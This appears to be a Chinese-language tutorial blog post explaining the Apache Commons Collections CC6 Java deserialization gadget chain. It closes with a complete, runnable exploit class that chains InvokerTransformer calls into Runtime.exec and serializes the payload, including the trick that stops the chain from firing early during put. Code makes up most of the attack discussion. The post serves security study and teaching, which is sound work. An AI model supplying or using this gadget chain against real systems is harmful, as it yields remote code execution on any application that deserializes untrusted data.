• cc链6,最好用的cc链,因为它不受jdk版本的限制和cc版本的限制,前半段很像urldns链,后半段是cc1链

先来看一下它的利用链

    Gadget chain:
        java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

我们回忆找cc链的过程,在控制好ChainedTransformer实现任意调用后,我们需要找到一个类,使其调用transform()方法,在cc1链中,我们选择了TransformedMap方法,而这一次则要使用LazyMap方法

image-20250512204157490

如果传入的map不包含key的话,LazyMap的get方法可以调用transform(),

image-20250512204410196

我们新建一个map和lazymap,并调用其get方法,测试链子能不能打通,显然是可以的

public class CC6 {
    public static void main(String[] args) {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

        Map<Object,Object> hashmap=new HashMap<>();
        Map lazymap= LazyMap.decorate(hashmap,chainedTransformer);
        lazymap.get("aaa");
    }
}

接着向上找,看看什么东西用了get方法,但结果太多了,我们的利用点在

org.apache.commons.collections.keyvalue.TiedMapEntry

发现它的getvalue函数用到get方法

public Object getValue() {
    return map.get(key);
}

同时它的hashcode方法用到getvalue方法

public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
           (value == null ? 0 : value.hashCode()); 
}

这里我们测试一下用这个类的hashcode方法能不能打通

image-20250512210527943

已经拿到hashcode方法,就可以和urldns的前半条链重合在一起了,进入HashMap类,看到hash方法

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

hash方法在HashMap的readObject方法中被调用

image-20250512211506325

所以我们只需要传入的key是TiedMapEntry即可

hashmap.put(tiedMapEntry,"lally");
serialize(hashmap);
unserialize("ser6.bin");

但是到这里你以为就结束了吗?要注意put方法也会调用hash方法所以其实在反序列化之前我们的链子就已经被调用了,怎么解决这个问题呢,其实很简单,在put之前,我们将链子上任意一个类修改成用不着的,put完序列化之前再修改回来即可

image-20250512212256787

比如修改chainedTransformer,再通过lazymap将它改回来

image-20250512214205410

但是反序列化是还是不能正常,这是为什么呢,回忆一下,Lazymap的get方法调用的前提条件是什么?是map里没有key,而如果执行了put方法,就会把key放进去,导致反序列化不能正常进行,所以我们需要在put完之后将key删了

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

到此即可顺利执行,完整代码如下

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

        Map<Object,Object> hashmap=new HashMap<>();
        Map lazymap= LazyMap.decorate(hashmap,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap,"key");

        Map<Object,Object> map=new HashMap<>();
        map.put(tiedMapEntry,"aaa");
        lazymap.remove("key");

        Class c=LazyMap.class;
        Field facrotyField=c.getDeclaredField("factory");
        facrotyField.setAccessible(true);
        facrotyField.set(lazymap,chainedTransformer);

        serialize(map);
        unserialize("ser6.bin");


    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser6.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

心中无难事,只要肯放弃